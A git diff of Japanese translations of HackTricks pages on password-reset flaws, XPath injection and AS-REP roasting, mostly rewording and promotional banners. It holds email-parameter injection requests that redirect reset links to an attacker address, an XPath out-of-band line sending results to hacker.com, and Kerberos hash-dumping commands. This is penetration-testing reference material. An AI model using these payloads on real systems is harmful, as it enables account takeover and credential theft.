* HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットをリクエストした後にサードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。
* HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットを要求した後にサードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。
* **影響**クロスサイトリクエストフォージェリCSRF攻撃によるアカウントの乗っ取りの可能性。
* **悪用**:リファラーヘッダーにパスワードリセットトークンが漏洩しているかどうかを確認するには、**パスワードリセットを**自分のメールアドレスにリクエストし、提供された**リセットリンクをクリック**します。**すぐにパスワードを変更しないでください**。代わりに、**Burp Suiteを使用してリクエストを傍受しながら****サードパーティのウェブサイト**FacebookやTwitterなどに移動します。リクエストを検査して、**リファラーヘッダーにパスワードリセットトークンが含まれているかどうか**を確認します。これにより、第三者に機密情報が露出する可能性があります。
* **悪用**:リファラーヘッダーにパスワードリセットトークンが漏洩しているかどうかを確認するには、**パスワードリセットを**自分のメールアドレスに要求し、提供された**リセットリンクをクリック**します。**すぐにパスワードを変更しないでください**。代わりに、**Burp Suiteを使用してリクエストを傍受しながら、サードパーティのウェブサイト**FacebookやTwitterなど**移動します**。リクエストを検査して、**リファラーヘッダーにパスワードリセットトークンが含まれているかどうかを確認します**。これにより、第三者に機密情報が露出する可能性があります。
* **参考文献**
* [HackerOneレポート342693](https://hackerone.com/reports/342693)
* [HackerOneレポート272379](https://hackerone.com/reports/272379)
* [パスワードリセットトークン漏洩に関する記事](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **パスワードリセットのポイズニング**
## **パスワードリセットの毒性**
* 攻撃者は、パスワードリセットリクエスト中にHostヘッダーを操作して、リセットリンクを悪意のあるサイトに指し示すことがあります。
* **影響**:リセットトークンが攻撃者に漏洩することによるアカウントの乗っ取りの可能性。
@ -49,13 +49,13 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* 絶対URLを生成するために、安全なサーバーサイドの方法を使用します。
* **パッチ**`$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します。
* **参考文献**
* [パスワードリセットポイズニングに関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
* [パスワードリセットの毒性に関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **メールパラメータを操作してパスワードリセット**
## **メールパラメータを操作してパスワードリセット**
攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。
* 攻撃者のメールを第二のパラメータとして追加するには&を使用します。
* 攻撃者のメールを第二のパラメータとして追加&を使用します。
```php
POST /resetPassword
[...]
@ -67,19 +67,19 @@ POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* 攻撃者のメールアドレスを第二のパラメータとして | を使用して追加します。
* 攻撃者のメールアドレスを第二のパラメータとして | を使って追加する
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* ccを使用して攻撃者のメールアドレスを第二のパラメータとして追加する
* ccを使用して攻撃者のメールを第二のパラメータとして追加する
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* BCCを使用して攻撃者のメールを2番目のパラメータとして追加する
* 攻撃者のメールアドレスを第二のパラメータとしてbccを使用して追加する
```php
POST /resetPassword
[...]
@ -113,16 +113,16 @@ POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
* **緩和手段**:
* **緩和**:
* 厳格なパラメータ検証と認証チェックを確保する。
* 不審な活動を検出し対応するために堅牢なログ記録と監視を実装する。
* 不審な活動を検出し対応するために堅牢なログ記録と監視を実装する。
* **参考文献**:
* [APIパラメータ操作による完全アカウント乗っ取り](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **レート制限なし: メールボンバリング**
* パスワードリセットリクエストに対するレート制限がないと、メールボンバリングが発生し、ユーザーがリセットメールで圧倒される可能性がある。
* **緩和手段**:
* パスワードリセットリクエストにレート制限がないと、ユーザーがリセットメールで圧倒されるメールボンバリングが発生する可能性がある。
* **緩和**:
* IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。
* 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。
* **参考文献**:
@ -130,14 +130,14 @@ POST /api/changepass
## **パスワードリセットトークンの生成方法を調べる**
* トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行ったりできる。いくつかのオプション:
* トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行ったりすることができる。いくつかのオプション:
* タイムスタンプに基づく
* ユーザーIDに基づく
* ユーザーのメールに基づく
* 名と姓に基づく
* 名と姓に基づく
* 生年月日に基づく
* 暗号学に基づく
* **緩和手段**:
* **緩和**:
* トークン生成に強力な暗号化手法を使用する。
* 予測可能性を防ぐために十分なランダム性と長さを確保する。
* **ツール**: Burp Sequencerを使用してトークンのランダム性を分析する。
@ -150,14 +150,14 @@ POST /api/changepass
[uuid-insecurities.md](uuid-insecurities.md)
{% endcontent-ref %}
* **緩和手段**:
* **緩和**:
* ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
* **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDを分析および生成する。
## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
* エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
* **緩和手段**:
* **緩和**:
* レスポンスの整合性を確保するためにサーバー側のチェックを実装する。
* 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。
* **参考文献**:
@ -166,39 +166,39 @@ POST /api/changepass
## **期限切れトークンの使用**
* 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストする。
* **緩和手段**:
* **緩和**:
* 厳格なトークンの有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。
## **ブルートフォースパスワードリセットトークン**
* BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする。
* **緩和手段**:
* **緩和**:
* 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。
* ブルートフォース攻撃を示す不審な活動を監視する。
## **トークンを使用してみる**
* 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。
* **緩和手段**:
* **緩和**:
* トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。
## **ログアウト/パスワードリセット時のセッション無効化**
* ユーザーがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。
* **緩和手段**:
* **緩和**:
* 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。
## **ログアウト/パスワードリセット時のセッション無効化**
* リセットトークンには、有効期限が設定され、その後無効になるべきである。
* **緩和手段**:
* **緩和**:
* リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。
## 参考文献
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
@ -206,12 +206,12 @@ POST /api/changepass
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていく
リアルタイムのニュースと洞察を通じて急速に進化するハッキングの世界を最新の状態に保つ
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,40 +1,40 @@
# XPATH injection
# XPATH インジェクション
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握してください
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
## Basic Syntax
## 基本構文
XPath Injectionとして知られる攻撃手法は、ユーザー入力に基づいてXPathXML Path Languageクエリを形成し、XMLドキュメントをクエリまたはナビゲートするアプリケーションを利用します。
XPathインジェクションとして知られる攻撃技術は、ユーザー入力に基づいてXPathXMLパス言語クエリを形成し、XMLドキュメントをクエリまたはナビゲートするアプリケーションを利用します。
### Nodes Described
### ノードの説明
式はXMLドキュメント内のさまざまなードを選択するために使用されます。これらの式とその説明は以下にまとめられています
@ -45,33 +45,33 @@ XPath Injectionとして知られる攻撃手法は、ユーザー入力に基
* **..**: 現在のノードの親が選択されます。
* **@**: 属性が選択されます。
### XPath Examples
### XPathの例
パス式とその結果の例は以下の通りです:
* **bookstore**: 名前が「bookstore」のすべてのードが選択されます。
* **/bookstore**: ルート要素bookstoreが選択されます。スラッシュ(/)で始まるパスは要素への絶対パスを表します
* **/bookstore**: ルート要素bookstoreが選択されます。要素への絶対パスはスラッシュ(/)で始まるパスで表されることに注意してください
* **bookstore/book**: bookstoreの子であるすべてのbook要素が選択されます。
* **//book**: ドキュメント内のすべてのbook要素が選択されます。
* **bookstore//book**: bookstore要素の子孫であるすべてのbook要素が選択されます。
* **//book**: ドキュメント内のすべてのbook要素が、位置に関係なく選択されます。
* **bookstore//book**: bookstore要素の子孫であるすべてのbook要素が、bookstore要素の下での位置に関係なく選択されます。
* **//@lang**: 名前がlangのすべての属性が選択されます。
### Utilization of Predicates
### プレディケートの利用
選択を絞り込むために述語が使用されます:
プレディケートは選択を絞り込むために使用されます:
* **/bookstore/book\[1]**: bookstore要素の最初のbook要素が選択されます。IEバージョン5から9の回避策として、最初のノードを\[0]としてインデックス付けするために、SelectionLanguageをJavaScriptを通じてXPathに設定します。
* **/bookstore/book\[last()]**: bookstore要素の最後のbook要素が選択されます。
* **/bookstore/book\[last()-1]**: bookstore要素の最後から2番目のbook要素が選択されます。
* **/bookstore/book\[position()<3]**: bookstore要素の最初の2つのbook要素が選択されます
* **/bookstore/book\[1]**: bookstore要素の最初のbook要素の子が選択されます。IEバージョン5から9のための回避策は、JavaScriptを通じてSelectionLanguageをXPathに設定することです。
* **/bookstore/book\[last()]**: bookstore要素の最後のbook要素の子が選択されます。
* **/bookstore/book\[last()-1]**: bookstore要素の前のbook要素の子が選択されます。
* **/bookstore/book\[position()<3]**: bookstore要素の最初の2つのbook要素の子が選択されます
* **//title\[@lang]**: lang属性を持つすべてのtitle要素が選択されます。
* **//title\[@lang='en']**: "lang"属性の値が"en"であるすべてのtitle要素が選択されます。
* **/bookstore/book\[price>35.00]**: 価格が35.00を超えるbookstoreのすべてのbook要素が選択されます。
* **/bookstore/book\[price>35.00]/title**: 価格が35.00を超えるbookstoreのbook要素のすべてのtitle要素が選択されます。
### Handling of Unknown Nodes
### 不明なノードの処理
ワイルドカードは未知のノードを一致させるために使用されます:
ワイルドカードは不明なノードを一致させるために使用されます:
* **\***: 任意の要素ノードに一致します。
* **@**\*: 任意の属性ノードに一致します。
@ -83,7 +83,7 @@ XPath Injectionとして知られる攻撃手法は、ユーザー入力に基
* **//\***: ドキュメント内のすべての要素が選択されます。
* **//title\[@\*]**: 1つ以上の任意の属性を持つすべてのtitle要素が選択されます。
## Example
##
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
@ -294,20 +294,20 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に化するハッキングの世界に遅れずについていきましょう
リアルタイムのニュースと洞察を通じて、急速に化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、トップハッカーとコラボレーションを始めましょう!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -318,8 +318,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -52,9 +52,9 @@ Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
```bash
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```
#### AS\_REPメッセージのリクエスト
#### AS_REPメッセージのリクエスト
{% code title="Linuxを使用して" %}
{% code title="Using Linux" %}
```bash
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
@ -95,10 +95,10 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
```
{% endcode %}
## ASREProast 認証情報なし
## ASREProast 認証なし
攻撃者は、ネットワークを横断する AS-REP パケットをキャプチャするために中間者の位置を利用でき、Kerberos プレ認証が無効になっていることに依存しません。したがって、VLAN 上のすべてのユーザーに対して機能します。\
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) を使用することでこれを実現できます。さらに、このツールは Kerberos 交渉を変更することにより、クライアントワークステーションに RC4 を使用させることを強制します。
攻撃者は、ネットワークを横断する AS-REP パケットをキャプチャするために中間者の位置を利用でき、Kerberos の事前認証が無効になっていることに依存しません。したがって、VLAN 上のすべてのユーザーに対して機能します。\
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) を使用することでこれを実現できます。さらに、このツールは Kerberos 交渉を変更することクライアントワークステーションに RC4 を使用させることを強制します。
```bash
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP
@ -115,7 +115,7 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
@ -123,7 +123,7 @@ ASRepCatcher listen
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握する
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保つ
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
@ -140,7 +140,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングのトリックを共有してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>
{% endhint %}